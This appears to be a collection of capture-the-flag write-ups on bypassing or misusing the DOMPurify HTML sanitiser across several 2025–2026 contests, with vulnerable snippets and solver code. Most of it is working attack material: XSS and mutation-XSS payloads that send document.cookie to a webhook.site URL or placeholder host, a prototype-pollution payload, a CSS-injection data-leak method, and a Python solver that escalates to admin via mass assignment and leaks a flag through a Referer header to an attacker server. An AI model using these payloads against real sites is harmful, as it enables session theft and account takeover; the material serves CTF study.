Changing the id standard in beforeSanitizeAttributes addHook can make unitended behaviour, if the id is duplicated it can couse the dompurify didnβt sanitize an attribute
| Event Name | Cyber Jawara 2025 |
| GitHub URL | https://github.com/sksd-id/CJ2025-public |
| Challenge Name | not-so-nice-html-viewer |
References
DOMPurify.addHook("beforeSanitizeAttributes", (node) => {
if (!(node instanceof Element)) return;
if (node.id) {
const id = node.id;
console.log("id:", id);
// setAttr.call(node, "id", `${randomHex()}-${id}`);
node.id = `${randomHex()}-${id}`;
}
if (hasAttr.call(node, "class")) {
const classes = (getAttr.call(node, "class") || "")
.split(/\s+/)
.filter(Boolean);
// if (classes.length) {
// const hex = randomHex();
// setAttr.call(
// node,
// "class",
// classes.map((cls) => `${hex}-${cls}`).join(" ")
// );
// }
}
});
solver
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
</head>
<body>
<script>
let q = new URLSearchParams(location.search);
result = `<form id="x" oncontentvisibilityautostatechange=alert(1) style=display:block;content-visibility:auto>`;
// result = ``;
for (let x = 0; x <= 0x700; x++) {
result += `<input form="${x.toString(16).padStart(3, "0")}-x"name="attributes">`;
}
base_uri = "gzcli.1pc.tf:2048";
payload = btoa(JSON.stringify({ "config": { "autoRender": true, "parentTextColor": null, "parentBackgroundColor": null, ["__proto__"]: { "sandbox": ["allow-same-origin allow-scripts allow-modals allow-top-navigation"], "cache_key": "name" } } }))
setTimeout(() => {
b = window.open(`http://${base_uri}/#${payload}`, result);
b.name = result;
}, 1000);
</script>
</body>
</html>Dompurify misconfiguration
| Event Name | Nowruz 2025 |
| GitHub URL | https://github.com/FlagMotori/Nowruz1404/blob/main/web/mintmint/exp/sol.txt |
| Challenge Name | π±π± |
Attachments
References
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>π±</title>
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.1.0/purify.min.js"></script>
</head>
<body>
<iframe id="xss" style="border: 0;"></iframe>
<script>
let p = 'π±'+((new URLSearchParams(location.search)).get('p') ?? '').slice(0,200)
p = DOMPurify.sanitize(p,{ RETURN_DOM: true }).ownerDocument.documentElement.innerHTML
xss.src = URL.createObjectURL(new Blob([p], { type: 'text/html;charset=utf-8' }))
</script>
</body>
</html>
The solution for π±π± is mxss with transferring a style tag in xhtml namespace to svg namespace + using <![CDATA[ and a comment after body
<script>
let p = encodeURIComponent(`<svg><a><desc><a><table><a></table><style><![CDATA[</style></svg><a id="AA"></body><!-- ]]></svg><img src=1 onerror=eval(top.name)>-->`)
window.open('<http://web/?p='+p,'fetch(`https://webhook.site/xxx?a=`+top.document.cookie)>')
</script>
Basically the bug isn't in dompurify but incorrect usage of dompurify ( that comment is the key to exploit ). I couldn't exploit this "incorrect usage" in the latest version due to hardenings in dompurify so I downgraded it.
Dompurify misconfiguration
| Event Name | Nowruz 2025 |
| GitHub URL | - |
| Challenge Name | π± |
Attachments
References
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>π±</title>
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.3/purify.min.js"></script>
</head>
<body>
<div id="xss"></div>
<script>
let p = ((new URLSearchParams(location.search)).get('p') ?? '')+`π±`
DOMPurify.sanitize(p)
if(!DOMPurify.removed.length) xss.innerHTML = p
</script>
</body>
</html>
The <noscript> englobes the <style> and the start of css comment /. I think the DOMPurify escapes any text inside comments (and doesn't remove them) for sanitization, but the <noscript> removes the function of the <style> and the last comment (/) is just plain text
<div id="xss">
<noscript><style>/*</noscript>
<img src="" onerror="fetch(`<URL>/${document.cookie}`)">*/π±
</div>
<noscript><style>/*</noscript><img%20src%20onerror=fetch(`<URL>/${document.cookie}`)>*/
this also works
https://mint-chall.fmc.tf/?p=script%20oncontentvisibilityautostatechange="fetch(`https://webhook.site/05234b35-970d-45cb-aa30-c1c263b303c6?${document.cookie}`)"%20style=display:block;content-visibility:auto
IS attr is unremoveable
X3ctf 2025
https://github.com/cure53/DOMPurify/blob/0d64d2b12f9ecaa28899c60aba0b9ed5072c4d93/src/purify.ts#L862
The first part is
<p is> } DOMPurify does not remove the is attribute but sets it to empty value (I don't know exactly why, but something something it cannot remove it)
for csp part: The csp does not cover all sources, so it's possible to fetch fonts from css, but not images.
for css part:
I used fonts with ligatures to shift the input box that has field-sizing: content
These were automated with svg -> woff with fontforge.
Then i set the form to lower size, so it woud overflow when the ligature was correct (ligatures work by making multiple characters into one glyph)
So if you had a long glyph with the field-sizing you could cause a overflow on the form if you gave it a max-width. (You also need to make textarea smaller for that to not overflow)
Then you can do css magic on the form, so when the scrollbar appears it changes font-family to a font we decide (this would be calling back to our backend, with the characters we used with ligatures)
Do binary search using this method.
Sources that explains the method better: CSS scrollbar detection: https://stackoverflow.com/a/79132982 How field-sizing works: https://developer.mozilla.org/en-US/docs/Web/CSS/field-sizing My payload was mostly this but rewritten to work with field-sizing and css scrollbar detection: https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/
For the CSS Injection, I did not notice the missing font-src. Instead, I accidentally found a pretty cool new technique for exfiltrating the result of a selector via an XS-Leak involving crashing the browser, without any external requests from the target site:
https://jorianwoltjer.com/blog/p/ctf/x3ctf-blogdog-new-css-injection-xs-leak
Aritcle about Dompurify misconfiguration
Exploring the DOMPurify library: Hunting for Misconfigurations (2/2) | mizu.re
<img src=attacker> + subresource Link: header β Referer leak (Slonser image-injection)
| Event Name | Cyber Borneo Capture 2026 |
| Source URL | http://dompurify.cbd2026.cloud/ |
| Challenge Name | DOMPurify (oaknote) |
Attachments
dompurify.dist.zipReferences
innerHTML's the result. \<img src="http://attacker/expose"\> is in the default allowlist and passes through unchanged β that one tag is the entire payload.POST /profile does Object.assign(req.user, req.body). Sending isAdmin=true as a form field promotes any registered user to admin and unlocks POST /notes/new.β¦/notes/\<id\>?flag=CBC\{β¦\}. Chrome's default strict-origin-when-cross-origin policy would normally hide that query-string from cross-origin subresources β but a Link: response header on the subresource (the attacker image) is honoured by the browser, and referrerpolicy="unsafe-url" overrides the default policy. The browser issues the follow-up prefetch with the full page URL (flag included) as Referer.POST /profile isAdmin=true β POST /notes/new {body: <img src=http://attacker/expose>} β GET /visit?url=β¦noteβ¦ β attacker returns 8-byte PNG + Link: <β¦/leak>; rel="prefetch"; referrerpolicy="unsafe-url" β bot prefetches /leak with Referer: β¦?flag=CBC{β¦}.docker compose, use the bridge gateway (docker network inspect <project>_default).why it is vulnerable
// app.js β Object.assign on req.body is straight-up mass-assignment.
app.post("/profile", requireAuth, (req, res) => {
Object.assign(req.user, req.body); // isAdmin=true wins, role escalates
res.redirect("/profile");
});
// Admin can post notes; body is rendered with the default DOMPurify config
// then injected via innerHTML. The exact payload below is sanitiser-clean.
const sanitized = DOMPurify.sanitize(rawBody); // <img src=β¦> survives
document.getElementById("rendered-output").innerHTML = sanitized;
// bot.js β flag gets appended to the URL the bot visits.
parsed.searchParams.set("flag", FLAG); // location.search now holds CBC{β¦}exploit payload
Note body submitted by the admin (DOMPurify keeps it verbatim):
<img src="http://172.0.39.1:7777/expose">Attacker server response on /expose β this is the actual trick:
HTTP/1.0 200 OK
Content-Type: image/png
Link: <http://172.0.39.1:7777/leak>; rel="prefetch"; referrerpolicy="unsafe-url"
\x89PNG\r\n\x1a\nFollow-up GET arrives with:
Referer: http://localhost:9101/notes/<uuid>?flag=CBC{fb5f0e6bdd6e4af7bc9a6f32c4ed75df}solver
import secrets, threading, time, urllib.parse
from http.server import BaseHTTPRequestHandler, HTTPServer
import requests
CHALLENGE = "http://localhost:9101"
ATTACKER = "172.0.39.1:7777" # docker bridge gateway as seen from the bot container
flag = {"v": None}
class H(BaseHTTPRequestHandler):
def log_message(self, *a, **k): pass
def do_GET(self):
ref = self.headers.get("Referer", "")
if "flag=" in ref and flag["v"] is None:
q = urllib.parse.urlparse(ref).query
flag["v"] = urllib.parse.parse_qs(q).get("flag", [None])[0]
if self.path.startswith("/expose"):
body = b"\x89PNG\r\n\x1a\n"
self.send_response(200)
self.send_header("Content-Type", "image/png")
self.send_header("Link",
f'<http://{ATTACKER}/leak>; rel="prefetch"; referrerpolicy="unsafe-url"')
self.send_header("Content-Length", str(len(body)))
self.end_headers(); self.wfile.write(body); return
self.send_response(200); self.end_headers(); self.wfile.write(b"ok")
threading.Thread(target=lambda: HTTPServer(("0.0.0.0", 7777), H).serve_forever(), daemon=True).start()
time.sleep(0.3)
s = requests.Session()
u = "x" + secrets.token_hex(4)
s.post(f"{CHALLENGE}/register", data={"username": u, "password": "x"})
s.post(f"{CHALLENGE}/profile", data={"isAdmin": "true"}) # mass-assign to admin
r = s.post(f"{CHALLENGE}/notes/new",
data={"title": "t", "body": f'<img src="http://{ATTACKER}/expose">'},
allow_redirects=False)
note = f"{CHALLENGE}{r.headers['Location']}"
requests.get(f"{CHALLENGE}/visit", params={"url": note}, timeout=30)
deadline = time.time() + 15
while time.time() < deadline and flag["v"] is None: time.sleep(0.2)
print("FLAG:", flag["v"])
# FLAG: CBC{fb5f0e6bdd6e4af7bc9a6f32c4ed75df}